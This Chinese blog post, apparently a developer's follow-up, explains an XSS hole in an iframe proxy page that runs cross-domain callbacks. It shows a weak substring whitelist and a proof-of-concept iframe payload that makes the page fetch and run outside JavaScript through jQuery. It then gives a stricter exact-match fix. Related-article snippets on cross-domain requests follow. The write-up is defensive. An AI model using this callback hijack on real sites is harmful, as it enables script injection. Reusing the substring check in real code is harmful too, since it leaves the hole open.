一个跨域请求的XSS续

之前讨论过,在解决post跨域请求时,采用iframe+本域代理页的形式,兼容性(当然是包括IE6啦)是最好的。上次提到,代理页面的作用是:执行本域下的回调函数。就是这个原因,给XSS带来了便利。详细说明,请参考一个跨域请求的XSS漏洞

上次也提到,解决这个问题的根本在于杜绝不合法的函数在页面内执行。上次透了一下懒,对函数名就行了包含匹配。过程如下:

/**
 * callback的值为:namespace.function,prefix123456
 */
var filter = [
	‘namespace‘,
	‘prefix‘
];
//验证函数,返回true时,return
var validateCallback = function (callback) {
	var flag = true;
	for(var i=0;i<filter.length;i++) {
		if(callback.indexOf(filter[i]) > -1) {
			flag = false;
		}
	}
	return flag;
}

if(validateCallback(callback)) {
	return;
}

从上面的代码可以看出,只有我的白名单的函数才能通过并执行。并且namespace是我定义的命名空间,我只要保证我的函数不会造成XSS就可以了吧。可是我太天真了,没想到还有这么个情况:

<iframe name="namespace" src="http://www.a.com" >
<script>
 function loadIframe() {
 	var iframe = document.createElement(‘iframe‘);
 	iframe.src = ‘http://www.a.com/proxy.html?namespace.$.ajax&url="xxx"&dataType="javascript"‘;
 	document.body.appendChild(iframe);
 }
</script>

这个时候,很轻松的就在a.com下,执行了第三方的js文件,想想都是一件可怕的事情。那为什么它能执行呢?

  1. 此时的namespace就是iframe的window,我们可以想象document.namespace是什么结果
  2. 一般情况下,a.com的页面上都会引用jquery或者其他的js库,很方便的调用一个方法执行一个ajax请求一个js文件,并执行
  3. 更重要的是,它可以操作window上所有的方法
  4. ……

那怎么解决呢?我最初想到的办法是:不改变现在白名单的情况下,增加域名白名单,只有在域名白名单里的域名才能执行。与此同时,遇到的一个问题是,我无法在proxy中,判断对我请求的域名是否合法。我最初想到的两种获得域名的方式是:document.referrer和parent.document.domain,下面我简单说明这两种形式为什么能判断。

无论通过那种方式限制,最重要的一点不能忘记:合法的请求,不能被限制。如果第三方采用iframe引用的话,犹豫同源策略,parent.document.domain会抛出异常,无法进行判断;至于document.rederrer的问题在于,如果嵌套多层iframe的话,我的reffer是正常的,其实还是非法的引用。

既然这个也被否定了,我到底怎么办呢?难道真的没办法防住这个吗?我又重新思考了一遍,为什么会出现这个xss漏洞呢?最主要的原因还是这个函数名。现在所做的没有对函数名进行严格控制,只是在判断包含关系。所以接下来要做的就是限制死函数名,只能是我的filter里的,可以通过恒等或者是正则匹配完成。

/**
 * callback的值为:namespace.function,prefix123456,prefix1231321
 */
var filter = [
	‘namespace.function‘,
	/^prefix\d$/
];
//验证函数,返回true时,return
var validateCallback = function (callback) {
	var flag = true;
	for(var i=0;i<filter.length;i++) {
		if(typeof filter[i] === ‘string‘) {
			if(filter[i] === callback) {
				flag = false;
			}
		}else {
			if(filter[i].test(callback)) {
				flag = false;
			}
		}
	}
	return flag;
}

if(validateCallback(callback)) {
	return;
}

通过上面的这种形式,暂时解决了这个XSS漏洞。当然这个问题还是一个长期的问题,还是需要长期跟进,遇到问题,岁恨死解决。

时间: 2024-10-24 07:38:15

一个跨域请求的XSS续的相关文章

一个跨域请求的XSS漏洞再续

上回提到,由于需要使用代理页面解决POST请求的跨域请求,需要在代理页面上执行传递的函数.所以我们做了白名单只有我们认可的回调函数才能在页面上执行,防止执行非法的JS方法,做脚本攻击. 我们所采用的方式是,把白名单以及过滤方法单独提出作为单独的文件引入页面,然后进行使用(这就为新的漏洞提供了机会). 本次漏洞出现的原因有两个: 屏蔽了白名单的JS文件 当前页面如果检测不到这个方法就直接不过滤了(为什么这么处理呢?防止白名单失败之后,由于某些原因,导致某种请求失败,导致流程不通.真是因为这个原因,

一个跨域请求的XSS漏洞

场景回顾 一个表单进行跨域提交的方式有很多,我们使用的采用隐藏iframe,在本域下放一个代理页面,通过服务端配合完成一次完整的请求. 首先,部署proxy.html代理页面.这个页面处理服务端返回的数据,并执行接口的回调函数.接口请求成功后,返回的是: <script>location.href='http://www.a.com/proxy.html?fun=callback&a=1&b=2&c=3';</script> proxy页面,解析服务端传回的

jQuery中Ajax+Spring MVC实现跨域请求

项目开发中,某个可独立.也可集成的子业务模块须要向外开放相关API接口,先说下项目本身使用了jersery来实现RESTful webservice以名词形式公布API.有意思的是在实际的操作中同事却通过Ajax跨域请求的方式去调用该API,先不说成功与否,这样的方式本就是"滑稽"的.和他一起探讨了此种做法的不合理性,之后选择jersey client的方式进行远程调用.只是他在跨域请求中遇到了问题,自己闲暇时间予以解决,这才是此篇文章的由来. jQuery对跨域请求有两种解决方式各自

Ajax+Spring MVC实现跨域请求(JSONP)JSONP 跨域

JSONP原理及实现 接下来,来实际模拟一个跨域请求的解决方案.后端为Spring MVC架构的,前端则通过Ajax进行跨域访问. 1.首先客户端需要注册一个callback(服务端通过该callback(jsonp)可以得到js函数名(jsonpCallback)),然后以JavaScript语 法的方式,生成一个function 2.接下来,将JSON数据直接以入参的方式,放置到function中,这样就生成了一段js语法文档,返回给客户端. 3.最后客户端浏览器动态的解析script标签,

js Jquery 跨域请求问题解决

Chrome报错:跨域问题处理( Access-Control-Allow-Origin)_ 用于本地测试的快捷解决方法 报错提示如下: XMLHttpRequest cannot load http://www.xxxx.com/264/Data/GetScreenInfo. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'null' is therefore not a

Ajax+Spring MVC实现跨域请求(JSONP)

JSONP解释 在解释JSONP之前,我们需要了解下"同源策略"这个概念,这对理解跨域有帮助.基于安全的原因,浏览器是存在同源策略机制的,同源策略阻止从一个源加载的文档或脚本获取或设置另一个源加载额文档的属性.有点绕,说的简单点就是浏览器限制脚本只能和同协议.同域名.同端口的脚本进行交互. JSONP就是为了解决这一问题的,JSONP是英文JSON with Padding的缩写,是一个非官方的协议.他允许服务端生成script tags返回值客户端,通过javascript call

跨域请求详解

同源策略 Ajax的一个限制是同源策略(same origin policy),它要求所有请求必须来自同一个域名.子域名,并且地址的端口也应当一致.主要原因是处于安全考虑:因为当一个ajax请示被发送,所有的请求都会附带主域的cookie信息一起发送.也就是说,对于远程服务来讲,请求如果是来自于登陆后的用户,若没有同源策略的限制,攻击者就有可能获取你的Gmail里的邮件.得到你的 Fackbook 状态或者你 Twitter 中的好友,这是一个非常严重的安全性问题. 但是,尽管出于安全问题的考虑

access-Control-Allow-Origin跨域请求安全隐患

最新的W3C标准里是这么实现HTTP跨域请求的,Cross-Origin Resource Sharing,就是跨域的目标服务器要返回一系列的Headers,通过这些Headers来控制是否同意跨域. 这些Headers有: 4 Syntax 4.1 Access-Control-Allow-Origin HTTP Response Header 4.2 Access-Control-Max-Age HTTP Response Header 4.3 Access-Control-Allow-Cr

thinkphp 设置跨域请求

场景:我的本地网页服务器无法访问本地的接口服务器接口提示一下错误:大致意思是:是一个跨域请求我的没有访问该地址的权限(接口服务器采用的是PHP编写) XMLHttpRequest cannot load http://localhost/mz/goods/getList. Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is prese